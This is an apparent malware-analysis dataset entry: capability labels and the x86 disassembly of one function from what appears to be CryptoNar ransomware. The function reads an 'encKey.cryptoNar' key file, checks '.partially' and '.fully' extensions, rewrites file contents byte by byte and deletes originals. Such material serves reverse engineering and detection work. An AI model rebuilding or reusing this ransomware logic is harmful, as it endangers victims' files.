Function at 0x10006930
Capabilities:
Copy file
Delete file
Get common file path
Get file size
Read file on windows
Write file on windows

Disassembly:
push 0xffffffffffffffff
push 0x100f2dbb
mov eax, dword fs:[0]
push eax
mov eax, 0x14d4
call fcn.100d4920
mov eax, dword [0x10139d00]
xor eax, esp
mov dword [esp + 0x14d0], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x10139d00]
xor eax, esp
push eax
lea eax, [esp + 0x14e8]
mov dword fs:[0], eax
cmp byte [0x101ded58], 0
mov eax, dword [esp + 0x14fc]
mov ebp, dword [esp + 0x14f8]
mov dword [esp + 0x28], eax
mov byte [esp + 0x16], 0
mov byte [esp + 0x17], 0
jne 0x10006be2
push 0xfff
xor ebx, ebx
lea ecx, [esp + 0x4e9]
push ebx
push ecx
mov byte [esp + 0x4f0], 0
call fcn.100d4cc0
push 0x206
lea eax, [esp + 0xe6]
xor edx, edx
push ebx
push eax
mov dword [esp + 0x34], 0x1000
mov word [esp + 0xec], dx
call fcn.100d4cc0
mov esi, dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
add esp, 0x18
push ebx
push ebx
lea ecx, [esp + 0xdc]
push ecx
push ebx
mov byte [0x101ded58], 1
call esi
test eax, eax
je 0x10006c59
push str.CRYPTONAR_RECOVERY_INFORMATION.txt
mov eax, 0x208
lea edi, [esp + 0xd8]
call fcn.100044f0
mov dword [esp + 0x50], 0xf
mov dword [esp + 0x4c], ebx
mov byte [esp + 0x3c], bl
mov edx, edi
push edx
lea ecx, [esp + 0x3c]
mov dword [esp + 0x14f4], ebx
call fcn.100067b0
test al, al
je 0x10006bce
cmp dword [esp + 0x50], 0x10
mov eax, dword [esp + 0x3c]
jae 0x10006a4f
lea eax, [esp + 0x3c]
lea ecx, [esp + 0x4e4]
push ecx
push eax
lea ecx, [esp + 0x24]
call fcn.100063e0
test al, al
je 0x10006bce
call fcn.1006d900
mov ebx, eax
test ebx, ebx
je 0x10006c50
mov edx, dword [esp + 0x1c]
push edx
push ebx
lea ecx, [esp + 0x4ec]
call fcn.10006de0
test al, al
je 0x10006c50
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x2e6]
push ecx
mov dword [esp + 0x24], 0x80
mov word [esp + 0x2e8], ax
call fcn.100d4cc0
add esp, 0xc
push 0
push 0x1a
lea edx, [esp + 0x2e4]
push edx
push 0
call esi
push str.encKey.cryptoNar
mov eax, 0x208
lea edi, [esp + 0x2e0]
call fcn.100044f0
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push SysReAllocString
mov eax, edi
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x10006bc5
lea ecx, [esp + 0x2c]
push ecx
push edi
mov dword [esp + 0x34], esi
mov dword [esp + 0x38], esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
cmp dword [esp + 0x30], esi
jne 0x10006bbe
mov edx, dword [esp + 0x2c]
inc edx
push edx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x10006bbe
mov ecx, dword [esp + 0x2c]
push 0
lea eax, [esp + 0x1c]
push eax
push ecx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push 0x7f
lea edx, [esp + 0x59]
push 0
push edx
mov byte [esp + 0x60], 0
call fcn.100d4cc0
mov edx, dword [esp + 0x38]
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x64]
push ecx
push edx
push esi
mov dword [esp + 0x34], 0x80
call fcn.100034f0
add esp, 0x1c
cmp dword [esp + 0x18], 0x80
jne 0x10006bb7
push 1
push ebx
push esi
lea eax, [esp + 0x60]
push eax
push 0x80
call fcn.1006d950
push 0x28
push esi
push 0x101ded08
call fcn.100d0e10
add esp, 0x20
mov byte [0x101ded59], 1
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call fcn.1006d7b0
add esp, 4
cmp dword [esp + 0x50], 0x10
jb 0x10006be2
mov ecx, dword [esp + 0x3c]
push ecx
call fcn.100d072d
add esp, 4
cmp byte [0x101ded59], 0
je 0x10006c59
test ebp, ebp
je 0x10006c59
cmp dword [esp + 0x28], 0
je 0x10006c59
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push ebp
call edi
lea edx, [eax + eax + 2]
push edx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov esi, eax
test esi, esi
je 0x10006c59
push ebp
push ebp
call edi
lea eax, [eax + eax + 2]
mov edx, esi
call fcn.10003d40
push esi
call dword [sym.imp.SHLWAPI.dll_PathRemoveExtensionW]
mov edi, dword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
push esi
call edi
test eax, eax
je 0x10006c99
push str..partially
push esi
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcmpiW]
push eax
call ebx
test eax, eax
jne 0x10006c85
mov byte [esp + 0x16], al
jmp 0x10006c99
lea ecx, [esp + 0x38]
call fcn.10002cc0
xor al, al
mov ecx, dword [esp + 0x14e8]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x14d0]
xor ecx, esp
call fcn.100d0738
add esp, 0x14e0
ret 8
push str..fully
push esi
call edi
push eax
call ebx
test eax, eax
jne 0x10006c99
mov byte [esp + 0x16], 1
push esi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileW]
xor ebx, ebx
push ebx
push 0x80
push 3
push ebx
push 1
push SysReAllocString
push ebp
call esi
mov edi, eax
cmp edi, 0xffffffff
je 0x10006dc5
lea eax, [esp + 0x1c]
push eax
push edi
mov dword [esp + 0x24], ebx
mov dword [esp + 0x28], ebx
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
cmp byte [esp + 0x16], bl
jne 0x10006cfb
cmp dword [esp + 0x20], ebx
jl 0x10006cfb
mov eax, 0x400
jg 0x10006cf3
cmp dword [esp + 0x1c], eax
jbe 0x10006cfb
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], ebx
push ebx
mov ebx, dword [esp + 0x2c]
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0
push 0x80
push 3
push 0
push 1
push 0x40000000
push ebx
call esi
mov esi, eax
cmp esi, 0xffffffff
je 0x10006db7
mov ebp, dword [sym.imp.KERNEL32.dll_WriteFile]
mov dword [esp + 0x18], 0
xor bl, bl
jmp 0x10006d40
cmp dword [esp + 0x20], 0
mov eax, dword [esp + 0x1c]
jl 0x10006d57
jg 0x10006d52
cmp eax, 0x14
jbe 0x10006d57
mov eax, 0x14
push 0
lea ecx, [esp + 0x1c]
push ecx
push eax
lea edx, [esp + 0x44]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10006dac
mov ecx, dword [esp + 0x18]
xor eax, eax
cmp ecx, eax
je 0x10006dac
sub dword [esp + 0x1c], ecx
sbb dword [esp + 0x20], eax
test bl, bl
jne 0x10006d87
mov bl, 1
cmp ecx, eax
jbe 0x10006d9a
mov dl, byte [0x101ded08]
sub byte [esp + eax + 0x38], dl
inc eax
cmp eax, ecx
jb 0x10006d91
push 0
lea eax, [esp + 0x1c]
push eax
push ecx
lea ecx, [esp + 0x44]
push ecx
push esi
call ebp
jmp 0x10006d40
push esi
mov byte [esp + 0x1b], bl
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [esp + 0x17], 0
jne 0x10006dd0
mov edx, dword [esp + 0x28]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov al, byte [esp + 0x17]
jmp 0x10006c5b